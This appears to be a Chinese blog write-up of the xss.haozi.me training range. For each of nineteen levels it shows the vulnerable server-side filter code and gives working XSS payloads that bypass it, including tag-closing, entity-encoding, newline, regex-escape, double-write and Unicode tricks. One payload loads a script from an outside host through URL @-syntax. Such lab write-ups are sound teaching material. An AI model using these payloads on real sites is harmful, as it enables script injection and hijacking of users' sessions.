【XSS】十九道XSS弹窗专项练习

参考

项目地址:https://xss.haozi.me/
笔记地址:
https://www.cnblogs.com/joker-vip/p/12663782.html
xss靶场练习(一)之xss.haozi.me
参考技术:Web笔记(七)XSS跨站脚本攻击

项目外观样式

在这里插入图片描述url:

http://xss.test/?input=

在这里插入图片描述

0x00 div标签,常规插入

HTML <div> 标签

<div> 可定义文档中的分区或节(division/section)。

<div> 标签可以把文档分割为独立的、不同的部分。它可以用作严格的组织工具,并且不使用任何格式与其关联。

如果用 id 或 class 来标记 <div>,那么该标签的作用会变得更加有效。
  • server-code
function render (input) {
  return '<div>' + input + '</div>'
}

直接常规插入

  • payload
<script>alert(1)</script>
<img src="" onerror=alert(1)>

0x01 textarea标签 闭合该后插入

HTML <textarea> 标签

<textarea> 标签定义多行的文本输入控件。

文本区中可容纳无限数量的文本,其中的文本的默认字体是等宽字体(通常是 Courier)。

可以通过 cols 和 rows 属性来规定 textarea 的尺寸,不过更好的办法是使用 CSS 的 height 和 width 属性。

注释:在文本输入区内的文本行间,用 "%OD%OA" (回车/换行)进行分隔。

根据介绍,这个标签内都是文本内容,那么我们必须要闭合掉这个标签才能进一步插入。

  • server-code
function render (input) {
  return '<textarea>' + input + '</textarea>'
}
  • payload
</textarea><script>alert(1)</script><textarea>
</textarea><img src="" onerror=alert(1)>

0x02 内容放在标签内,">闭合标签

  • server-code
function render (input) {
  return '<input type="name" value="' + input + '">'
}

我们看到input的内容被放在了<input>标签内并作为返回值返回,我们需要闭合掉这个<input>标签。

  • payload
"><script>alert(1)</script>

0x03 过滤(),使用反单引号`

  • server-code
function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

可以看到服务器端是把//g中间的内容即[()]替换为空,过滤掉了(),我们使用反单引号(backquote)

反单引号:主要用于计算机相关领域。(一)反单引号是西方符号,主要用在linux的bash中。

  1. 在bash中,其用法同$()一样,用``括起来的内容代表一个变量,例如echo ls 会先执行 ls 得到0 xx·sh 再替换原命令为:echo xx·sh 最后执行的是 xx·sh
  2. “`”是 MYSQL数据库的分隔符。
    分隔符的加入可使输入的字符串成为有效的MYSQL分隔标识符。
    示例:创建一个表名包含空格、单引号等字符串时,需要用 将表名包起来,才可创建成功,否则是语法错误。
create table `t a'b`(id INT);
  • payload
<script>alert`1`</script>

0x04 过滤括号()和反单引号` 使用html实体编码来绕过

通过浏览器编码深入探究XSS绕过

web安全之XSS基础-常见编码科普

在线转换网站:HTML字符实体转换
在这里插入图片描述

<img src="" onerror=alert&#x28;&#x31;&#x29;>

0x05 闭合注释符

  • server-code
function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

可以看到服务器端是把//g中间的内容即-->替换为笑脸

这里注释符有两种:

 <!-- 注释内容 -->

 <!-- 注释内容 --!>

可以用到第二种注释符
  • payload
--!><script>alert(1)</script>

0x06 正则过滤auto/on开头及=结尾和> 换行绕过匹配

  • server-code
function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

这里用到了正则表达式过滤方法:JavaScript正则表达式应用—replace()
String.prototype.replace()

如果pattern是字符串,则仅替换第一个匹配项。

用了正则表达式来过滤,匹配了: auto 、以on开头且以=结尾的字符串和>,所以过滤了autofocus和onerror等事件, 以及防止input标签被闭合

但是它并没有匹配换行符, 可以通过换行来绕过匹配
注意onerror后面实际有一个回车换行符

type="image" src="" onerror
=alert(1)

0x07 正则匹配,空格绕过解析

RegExp(正则表达式)

  • server-code
function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

分析此正则表达式:
const stripTagsRe = /<\/?[^>]+>/gi

这里分为三部分来分析: /<\/?[^>]+>/gi

  • 1)<\/?
    \转义符与/结合, 从而转义了/, 进而含义是匹配: </
    再加上? (匹配前面的子表达式一次或多次), 所以是匹配: <或者 </
  • 2)[^>]+
    首先要明白, 中括号的用法: [abc] => 匹配abc中的任意一个;
    然后^符号的两种用法:
    1.限定开头: 比如, /^A/会匹配"An e"中的A,但是不会匹配"ab A"中的A
    2.取反(仅处于中括号中成立): 比如,[^a-zA-Z0-9]表示 “找到一个非字母也非数字的字符”。
     最后是的含义:匹配前面的子表达式一次或多次。
     所以,总的来说,[^>]+ 匹配了除了^的任意字符的一次或者多次
  • 3)>
     单纯匹配>。
    总的表达式就是,匹配: </ 任意字符 >, 而且 /i 过滤了大小写

html的单标签也可以解析,后面+空格

  • payload
<img src="" οnerrοr=alert(1) 

在这里插入图片描述

0x08 换行或空格绕过正则匹配

  • server-code
function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

可以加一个空格</style >,造成正则逃逸

  • payload
</style ><script>alert(1)</script>

借鉴0x06没有匹配换行符,换号绕过正则。必须在style后换行。

  • payload
</style
>
<script>alert(1)</script>

0x09 let 声明,RegExp.test()正则白名单

  • server-code
function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

let
RegExp.prototype.test()
let 语句声明一个块级作用域的本地变量,并且可选的将其初始化为一个值。
test()方法执行一个检索,用来查看正则表达式与指定的字符串是否匹配。返回 truefalse
正则表达式白名单式地匹配了固定网址,并闭合前面的标签

https://www.segmentfault.com/"></script><img src="" οnerrοr=alert(1)<"

在这里插入图片描述

0x0A 升级版0x09过滤后再白名单

URI语法

  • server-code
function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

可以看出,过滤掉了&,`,",<,>,\,之后再正则白名单匹配。
通过html转义, 把能注入的关键字都过滤了。可以直接引用指定网站下的目录文件来达到xss注入的目的,
比如: 在靶场的目录下有个j.js文件, 里面有alert(1);代码, 直接调用即可(此方法目前已经失效):

  • payload
https://www.segmentfault.com.haozi.me/j.js

url的@语法来进行跳转调用,然后@跳转访问即可 (beefhook原理)

在这里插入图片描述前面必须匹配到https,所以后面的域名也必须是https,因为博主没有备案,无法用https。这个关卡就无法通过。

https://www.segmentfault.com@http://www.xxxx.club:8986/j.js

0x 0B html字符大写,js进行hex编码绕过

  • server-code
function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

可以看出服务器端,将所有字母转换为大写。
在这里插入图片描述

HTML中对大小写不敏感
JS中对大小写敏感

这样可以对js代码进行hex编码处理, 而html部分不变
编码结果类型是html entities
比如:
a->&#x61
l->&#x6c

在这里插入图片描述

  • payload
<img src="" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

域名对大小写也不敏感 , 所有可以用上一题的方法, 调用靶机上自带的j.js代码, 完成xss注入:

<script src=https://www.segmentfault.com.haozi.me/j.js></script>

0x0C 依照上题或者是双写绕过

  • server-code
function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

该题将/script/替换为空之后,再转为大写。可以按照上题的解法

<img src="" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

可以采用双写绕过并调用haozi.me的j.js代码

<sscriptcript src=https://www.segmentfault.com.haozi.me/j.js></sscriptcript>

0x0D 回车绕过,js注释符-->

  • server-code
function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

该题把斜杠, 单、双引号都过滤了;
回车可以破坏注释结构,js的注释符-->可以注释掉后面的内容。

  • payload

alert(1);
-->

在这里插入图片描述

0x0E 找到一个大写是s的拉丁字符,编码绕过大写

  • server-code
function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

该题目会把标签内的内容替换,字母都变大写,前面添加一个_。
在这里插入图片描述
这几乎过滤了所有标签, 包括<script>
逆向思维, 找到一个字符的大写是s的: ſ (古英文, 拉丁文):

<ſcript src="" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)></script>

0x0F 注释符绕过

  • server-code
function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

该题目对字符进行了html实体编码处理。但是, 它忽略了一点, 由于编码后处于html标签中, 所以当解析代码的时候, 被过滤编码的字符仍然会被还原来执行, 所以可以说, 被过滤的字符可以用。
注入使其闭合, 在注释掉后面的内容即可:

  • payload
'); alert(1); //

或者闭合后面的,而不是用//注释掉后面的。

');alert(1);('

0x10 提供任意值

  • server-code
function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

没有过滤, 随意给window.date一个值,比如空值'', 再注入:

'';alert(1);

0x11 注释符绕过

  • server-code
// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

看到有一些字符被转义了, 包括换行符\n等也被转义了

虽然被转义成了\/\/, 但转义之后还是//, 在js中还是注释符 (勿与正则弄混)

在这里插入图片描述

  • payload
");alert(1);//

或者:

"); alert("1

在这里插入图片描述

0x12 转义符绕过

  • server-code
// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

该题将双引号替换。无法闭合。
但是, 它并没有将转义符转义, 那么我们可以使用转义符转义,这样双引号就不会被替换:

  • payload
\");alert(1);//
  • payload
    通过闭合前面的script标签, 内嵌一个script标签即可:
</script> <script>alert(1)</script><script>

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值